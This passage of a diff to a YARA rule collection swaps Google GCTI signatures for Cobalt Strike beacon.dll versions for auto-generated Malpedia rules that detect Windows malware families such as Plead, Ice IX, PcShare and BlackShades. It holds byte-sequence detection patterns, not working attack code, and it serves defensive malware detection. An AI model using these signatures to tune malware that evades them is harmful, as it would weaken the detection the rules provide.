+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sarhust_auto.yar#L1-L118"
+		license_url = "N/A"
+		logic_hash = "0160e7f1d6d7f85de80fabf97a5a855a2c32446045510933894141374e273156"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 8B F2 83 F9 0C 0F 87 8E 00 00 00 FF 24 }
-		$decode = { B1 ?? 30 88 [4] 40 3D A8 01 00 00 7C F2 }
+		$sequence_0 = { 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 8d8d4cffffff }
+		$sequence_1 = { e8???????? 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 6a00 ff15???????? }
+		$sequence_2 = { e8???????? 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 6a00 }
+		$sequence_3 = { eb08 8b4520 8b4d0c 8908 }
+		$sequence_4 = { 6801000080 ff15???????? 85c0 7408 ff15???????? }
+		$sequence_5 = { 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 6a00 ff15???????? }
+		$sequence_6 = { e8???????? 8d8d4cffffff e8???????? 6a00 ff15???????? }
+		$sequence_7 = { 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 6a00 }
+		$sequence_8 = { 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 6a00 }
+		$sequence_9 = { 8d8d4cffffff e8???????? 6a00 ff15???????? }
 
 	condition:
-		all of them
+		7 of them and filesize <114688
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V1_47
+rule MALPEDIA_Win_Flusihoc_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/beacon.dll Version 1.47"
-		author = "gssincla@google.com"
-		id = "ac2249a9-210c-581f-8dd1-7619356dca7d"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L117-L144"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "8ff6dc80581804391183303bb39fca2a5aba5fe13d81886ab21dbd183d536c8d"
-		logic_hash = "8c463d3122f3f79ff5d9b88e3d4f5ed14e6c581edfdfafba8a0c596c494ac1b1"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "78da62a5-c798-5ed3-b0d2-4c7f68889a1b"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flusihoc"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.flusihoc_auto.yar#L1-L168"
+		license_url = "N/A"
+		logic_hash = "9c728cded699d733d4c529cd8d0e45713d382315b1100a325978e10da75fc22d"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 83 F8 12 77 10 FF 24 }
-		$decode = { B1 ?? 30 88 [4] 40 3D A8 01 00 00 }
+		$sequence_0 = { 8bec 83e4f8 81ece40b0000 a1???????? }
+		$sequence_1 = { 53 56 57 6a40 8d442428 6a00 50 }
+		$sequence_2 = { 50 f3a5 c684246402000000 e8???????? }
+		$sequence_3 = { a1???????? 33c4 89842450160000 53 56 8b7508 57 }
+		$sequence_4 = { 52 ffd6 6a0a ff15???????? }
+		$sequence_5 = { 7507 80864d01000004 83f822 7506 }
+		$sequence_6 = { ffd3 8b442410 6aff 50 ff15???????? }
+		$sequence_7 = { 50 f3a5 c684246401000000 e8???????? 83c40c }
+		$sequence_8 = { 6a00 50 c744242c44000000 e8???????? }
+		$sequence_9 = { 83f822 7506 fe8e42010000 3d14010000 7506 }
+		$sequence_10 = { 8b8c245c160000 5f 5e 5b 33cc 33c0 e8???????? }
+		$sequence_11 = { ff15???????? 8b4c2410 51 ffd6 8b542414 52 ffd6 }
+		$sequence_12 = { 3d68010000 7505 fe06 fe4e17 83f834 7503 fe4e18 }
+		$sequence_13 = { 51 6a00 ff15???????? 8d95f4feffff 52 6806000200 }
+		$sequence_14 = { 6804010000 8d85f8feffff 50 6a01 }
+		$sequence_15 = { 68???????? 6802000080 ff15???????? 85c0 752f 8b8df4feffff }
 
 	condition:
-		all of them
+		7 of them and filesize <319488
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V1_48
+rule MALPEDIA_Win_Plead_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/beacon.dll Version 1.48"
-		author = "gssincla@google.com"
-		id = "dd15099f-ad19-58df-9ed4-ce66d7ee8540"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L146-L178"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "dd4e445572cd5e32d7e9cc121e8de337e6f19ff07547e3f2c6b7fce7eafd15e4"
-		logic_hash = "3f789eaf334c9bb3236d2834f38156aa92b22a5b674450977086378d195dd216"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "fd5a06dc-6983-5a74-97bc-98455f57d710"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.plead"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.plead_auto.yar#L1-L235"
+		license_url = "N/A"
+		logic_hash = "6a7ab17d07de8a4ca9e1e2599ef78a9a501e90d23119efee05ad014354df9153"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 73
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 48 57 8B F1 8B DA 83 F8 17 77 12 FF 24 }
-		$decode = { B1 ?? 30 88 [4] 40 3D A8 01 00 00 7C F2 }
+		$sequence_0 = { ff15???????? 85c0 750c c745fcfcffffff e9???????? 395d18 }
+		$sequence_1 = { ebda 33f6 c745fcf8ffffff 3bf7 }
+		$sequence_2 = { bf00800000 57 53 56 897d14 }
+		$sequence_3 = { e8???????? 817d14e8030000 53 56 }
+		$sequence_4 = { 59 5e c20400 8b4c2404 56 }
+		$sequence_5 = { 50 ff15???????? 6a3f 33c0 59 }
+		$sequence_6 = { 8d4dfc 51 8d4dd8 51 }
+		$sequence_7 = { 8d4514 53 50 56 53 6a05 }
+		$sequence_8 = { ff15???????? 50 ff15???????? 33c0 81c418020000 }
+		$sequence_9 = { 5e 5b 33c0 81c418020000 c21000 8b84241c020000 }
+		$sequence_10 = { 7cf1 ffd3 8b35???????? 2bc7 3de8030000 }
+		$sequence_11 = { 8b5508 52 ff15???????? 6aff a1???????? 50 ff15???????? }
+		$sequence_12 = { 50 8b1d???????? ffd3 85c0 743b }
+		$sequence_13 = { 8b8c241c020000 68???????? 51 ff15???????? }
+		$sequence_14 = { 5d 8a44341c 32c2 8844341c 46 3bf1 }
+		$sequence_15 = { c705????????01000000 ff15???????? 8b1d???????? ffd3 8bf8 33f6 8bcf }
+		$sequence_16 = { 648b1530000000 8b520c 8b521c 8b5a08 }
+		$sequence_17 = { 8b430c 034510 6a04 6800100000 51 50 }
+		$sequence_18 = { 8d7a08 e8???????? 52 e8???????? e9???????? 0fb755e0 83fa08 }
+		$sequence_19 = { e8???????? b02c aa 8b4510 85c0 }
+		$sequence_20 = { 33c0 f3aa eb10 e8???????? 8b4314 034508 }
+		$sequence_21 = { 8b5324 f7c200000002 7412 6800400000 8b4310 50 }
+		$sequence_22 = { e8???????? 0fb64de2 8b55ec 8b7df0 8b07 }
+		$sequence_23 = { b940000000 50 e2fd 56 394510 747e }
 
 	condition:
-		all of them
+		7 of them and filesize <8224768
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V1_49
+rule MALPEDIA_Win_Unidentified_069_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/beacon.dll Version 1.49"
-		author = "gssincla@google.com"
-		id = "871e28c9-b580-5a32-8529-2290ded1a1b6"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L180-L211"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "52b4bd87e21ee0cbaaa0fc007fd3f894c5fc2c4bae5cbc2a37188de3c2c465fe"
-		logic_hash = "935232d5ddccdc0401b4d911cdc73a48305347b495219c8c893615fe918f32f1"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "26eb5c23-2d98-5320-b3d2-36b6e8a74eb7"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_069"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_069_auto.yar#L1-L130"
+		license_url = "N/A"
+		logic_hash = "c4b44dbf77c8a02d5a553e1bfca3c92784cdebd7456417ad5b23ba2172632d6b"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 48 56 83 F8 1E 0F 87 23 01 00 00 FF 24 }
-		$decoder = { B1 ?? 90 30 88 [4] 40 3D A8 01 00 00 7C F2 }
+		$sequence_0 = { ffd3 33c0 5f 5b c9 c20400 55 }
+		$sequence_1 = { 8bc6 c1e710 e8???????? 0fb7c0 0bc7 8945cc }
+		$sequence_2 = { ff15???????? 8b3d???????? 8945f0 3bc6 7460 53 }
+		$sequence_3 = { 85c0 7520 ff7508 e8???????? 85c0 7414 ff7508 }
+		$sequence_4 = { 68???????? 891d???????? 891d???????? ffd6 8b35???????? 68???????? ffd6 }
+		$sequence_5 = { 84c0 7504 c645fa01 807dfbff 6a08 5b 0f8581000000 }
+		$sequence_6 = { 52 51 50 e8???????? 015608 837de000 8b4608 }
+		$sequence_7 = { 7447 8d85c8fdffff 50 e8???????? 6811270000 56 }
+		$sequence_8 = { 83e924 85ff 77f3 3bf8 7427 85ff 750e }
+		$sequence_9 = { 837d0800 0f85a0000000 e8???????? 8bf0 85f6 0f8491000000 }
 
 	condition:
-		all of them
+		7 of them and filesize <434176
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V2_0_49
+rule MALPEDIA_Win_Ice_Ix_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/beacon.dll Version 2.0.49"
-		author = "gssincla@google.com"
-		id = "087c584a-5ceb-536a-8842-53fbd668df54"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L213-L243"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "ed08c1a21906e313f619adaa0a6e5eb8120cddd17d0084a30ada306f2aca3a4e"
-		logic_hash = "3616579dabcfd0ba413d17b4fbd0da5313b9beca94f7bf8e41f05d6679b4a215"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "f7014fa0-a713-5faf-ab08-c5718709e2e0"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_ix"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ice_ix_auto.yar#L1-L132"
+		license_url = "N/A"
+		logic_hash = "fab5667b12ec8f3fc934ce2ccdb85e5f1acf73115ae434c2a20cd983e8b43fbd"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 83 F8 22 0F 87 96 01 00 00 FF 24 }
-		$decoder = { B1 ?? EB 03 8D 49 00 30 88 [4] 40 3D 30 05 00 00 72 F2  }
+		$sequence_0 = { 3bc3 748c 6a01 8d4584 50 6883346425 e8???????? }
+		$sequence_1 = { 85db 0f844b020000 81fe00020000 0f873f020000 83fe06 0f86e5000000 8b03 }
+		$sequence_2 = { 50 e8???????? 50 53 8d857cfeffff 50 e8???????? }
+		$sequence_3 = { 56 57 6a02 5b 53 6821634578 }
+		$sequence_4 = { 8d75b8 b891000000 e8???????? 8d75d0 b892000000 e8???????? 8d75dc }
+		$sequence_5 = { 0f84dc000000 8d442420 50 ff15???????? 8db424c0000000 b8a2000000 e8???????? }
+		$sequence_6 = { 6a73 8d74243c 58 e8???????? 8bc6 89442410 }
+		$sequence_7 = { 6a42 8db550ffffff 58 e8???????? 8b75f4 8b55f0 3bf7 }
+		$sequence_8 = { 0f84a7000000 83f8ff 0f849e000000 6a3b 8d75e0 58 897dec }
+		$sequence_9 = { 68cc000000 6a2d 58 e8???????? ff75d0 ff15???????? 5f }
 
 	condition:
-		all of them
+		7 of them and filesize <327680
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V2_1_And_V2_2
+rule MALPEDIA_Win_Anchormtea_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/beacon.dll Versions 2.1 and 2.2"
-		author = "gssincla@google.com"
-		id = "384fb247-aae7-52e1-a45d-6bda0f80a04e"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L245-L276"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "ae7a1d12e98b8c9090abe19bcaddbde8db7b119c73f7b40e76cdebb2610afdc2"
-		logic_hash = "eee3702d6fde08b8e9f5533f903fa33fb3da808a3b76ca43e4d5029f9ce91ad0"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "1f1be8a6-a512-5951-b4a5-8a59e9561b7d"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.anchormtea"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.anchormtea_auto.yar#L1-L156"
+		license_url = "N/A"
+		logic_hash = "36b7e20db6ab94edc928176040f9980c01a0a26295c603a430e96744ecfde5c2"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 49 56 57 83 F9 24 0F 87 8A 01 00 00 FF 24 }
-		$decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }
+		$sequence_0 = { e9???????? f7d8 1bc0 83e002 }
+		$sequence_1 = { 33c0 6689047e eb14 51 }
+		$sequence_2 = { 83f81f 0f87f3080000 52 51 e8???????? }
+		$sequence_3 = { 7409 488bcf ff15???????? 33f6 4c8b7c2448 4c8b642460 }
+		$sequence_4 = { 488905???????? 488d055b7e0200 488905???????? 488d05897d0200 48890d???????? 48890d???????? }
+		$sequence_5 = { 899d1cffffff ffd7 50 ffd6 }
+		$sequence_6 = { 8b9580f7ffff 89856cf7ffff 8b85acf7ffff 2bc7 898d5cf7ffff 89bd64f7ffff }
+		$sequence_7 = { 4983ff10 4c0f43f7 4c8b6c2470 4983fd0b 725f 4f8d242e }
+		$sequence_8 = { 51 57 8d4dd8 e8???????? 33d2 895588 90 }
+		$sequence_9 = { 4883c0f8 4883f81f 772e e8???????? 8bc6 }
+		$sequence_10 = { 488d9510020000 488bcb ff15???????? 413b7624 }
+		$sequence_11 = { 4a8d3c39 488bc6 482bc2 4869d88c090000 }
+		$sequence_12 = { 33ff 488945d0 488d45e0 4533c9 4889442448 4533c0 }
+		$sequence_13 = { 740e 6a40 68???????? 68???????? ffd7 8d45f8 }
+		$sequence_14 = { 7514 3b8598fdffff 1bc0 238598fdffff }
 
 	condition:
-		all of them
+		7 of them and filesize <839680
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V2_3
+rule MALPEDIA_Win_Pcshare_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/beacon.dll Versions 2.3"
-		author = "gssincla@google.com"
-		id = "aed092f1-fbb1-5efe-be8d-fb7c5aba1cde"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L278-L308"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "00dd982cb9b37f6effb1a5a057b6571e533aac5e9e9ee39a399bb3637775ff83"
-		logic_hash = "286d7ffa83634b82160788abaf1c5b319a09c4a1243af2401799f327be76ad75"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "7acb8456-1058-55a0-81ba-27e3cb590933"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pcshare"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pcshare_auto.yar#L1-L123"
+		license_url = "N/A"
+		logic_hash = "7ae15dd51d8c67d0995dcb010803cd76a95f2636c119f9eefe8dfedf04aaf2b7"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 49 56 57 83 F9 26 0F 87 A9 01 00 00 FF 24 }
-		$decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }
+		$sequence_0 = { 8b48fc 03f7 8b78f8 8bd1 03fb c1e902 }
+		$sequence_1 = { 33ed 8d0c18 8bc3 99 }
+		$sequence_2 = { e8???????? 85c0 59 743e 8305????????20 8d0c9da0720610 }
+		$sequence_3 = { 8bc6 8b0c8da0720610 8d04c0 80648104fd 8d448104 8bc7 5f }
+		$sequence_4 = { 8d4c2418 50 51 e8???????? 83c40c 84c0 7439 }
+		$sequence_5 = { c1e705 f6441f0e01 7428 8b4c2474 81e2ffff2f00 895008 8b542440 }
+		$sequence_6 = { 51 eb07 8b16 8d441a02 }
+		$sequence_7 = { 85c0 7505 b8???????? 8078fffe 732f }
+		$sequence_8 = { 83c418 894c2424 b940000000 f3ab 66ab aa b940000000 }
+		$sequence_9 = { 3bd0 0f8c93fdffff 33ed 5b 8b74243c 8a4c241c }
 
 	condition:
-		all of them
+		7 of them and filesize <893708
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V2_4
+rule MALPEDIA_Win_Bookcodesrat_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/beacon.dll Versions 2.4"
-		author = "gssincla@google.com"
-		id = "347a6b06-84a8-53ff-80a1-05fa1a48a412"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L310-L340"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "78c6f3f2b80e6140c4038e9c2bcd523a1b205d27187e37dc039ede4cf560beed"
-		logic_hash = "087ec6f585e90b84c00e746beb37cb8365cb7b4d07ebd0c48e3ba3d5df94dba2"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "12c3f4c8-ae45-5c42-aff9-36df89db636e"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bookcodesrat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bookcodesrat_auto.yar#L1-L134"
+		license_url = "N/A"
+		logic_hash = "4448935151876512796b7de65b4c6301493ba2a3fb6e7bb9bd7b534c17d01712"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 4A 56 57 83 FA 2F 0F 87 F9 01 00 00 FF 24 }
-		$decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }
+		$sequence_0 = { ff15???????? 488d0d97900100 ff15???????? 833d????????00 750a b901000000 e8???????? }
+		$sequence_1 = { 33c0 48c7471807000000 48894710 668907 4883c728 493bfe 75d7 }
+		$sequence_2 = { 488b5c2430 488b742438 4883c420 5f c3 482bf3 66660f1f840000000000 }
+		$sequence_3 = { 4883c9ff 33c0 488dbb40080000 66f2af 48f7d1 48ffc9 74e8 }
+		$sequence_4 = { 0f858a000000 ba04010000 488bce ffd7 85c0 744e 33c0 }
+		$sequence_5 = { 0f1f440000 ffc6 4c8b4310 4883c8ff 492bc0 4883f801 0f868a000000 }
+		$sequence_6 = { 75ee 488d8d50010000 33d2 41b808020000 e8???????? 488b4c2438 488d442430 }
+		$sequence_7 = { 488d4c2420 ba04010000 ff15???????? 33c0 4883c9ff 488d7c2420 66f2af }
+		$sequence_8 = { ff15???????? 418985a8010000 32db 48897c2430 897c2428 897c2420 4533c9 }
+		$sequence_9 = { 4863c2 4c8bc1 8bd1 888c0560080000 6690 420fb68405a0020000 49ffc0 }
 
 	condition:
-		all of them
+		7 of them and filesize <544768
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V2_5
+rule MALPEDIA_Win_Blackshades_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/beacon.dll Versions 2.5"
-		author = "gssincla@google.com"
-		id = "a89f9239-099c-5b97-b1df-e8ce2b95ea52"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L342-L372"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "d99693e3e521f42d19824955bef0cefb79b3a9dbf30f0d832180577674ee2b58"
-		logic_hash = "f2d0ca1414a60bf855543d99777ae5e83c451db41aba5e255e4c10b1e0bb7b47"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "be0044cc-ffdd-5ce8-9261-6f20deb49ec5"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackshades"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.blackshades_auto.yar#L1-L117"
+		license_url = "N/A"
+		logic_hash = "5be1fd8de19e4a88da957f4843427153e72a697b528878c27f4d0e3032429536"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 48 57 8B F2 83 F8 3A 0F 87 6E 02 00 00 FF 24 }
-		$decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }
+		$sequence_0 = { ff9e0460ff34 6c 60 ff0a }
+		$sequence_1 = { 08fe f5 0200 0000 6c 70ff 9e }
+		$sequence_2 = { 70ff f30004eb f4 02eb fb cf }
+		$sequence_3 = { 351cff1e55 2c00 0d6c04ff1b c700fb301cc9 }
+		$sequence_4 = { 58 2f 60 ff6c74ff }
+		$sequence_5 = { 2a23 60 ff1b 0d002a460c fff5 0200 0000 }
+		$sequence_6 = { 6c ff4a71 70ff 00746c78 ff1b }
+		$sequence_7 = { 6c ff4a71 70ff 00746c78 ff1b 4a }
+		$sequence_8 = { ff6c48ff 6c 4c ff40fc }
+		$sequence_9 = { ff1b 0d002a460c fff5 0200 0000 6c }
 
 	condition:
-		all of them
+		7 of them and filesize <999424
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_0
+rule MALPEDIA_Win_Tinytyphon_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/beacon.dll Versions 3.0"
-		author = "gssincla@google.com"
-		id = "132a1be8-f529-5141-ba03-fdf6df3d55d4"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L374-L404"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "30251f22df7f1be8bc75390a2f208b7514647835f07593f25e470342fd2e3f52"
-		logic_hash = "951f1b52c14010261022f9f920d53d3c1e88f41461798a23e72083c981f9de76"
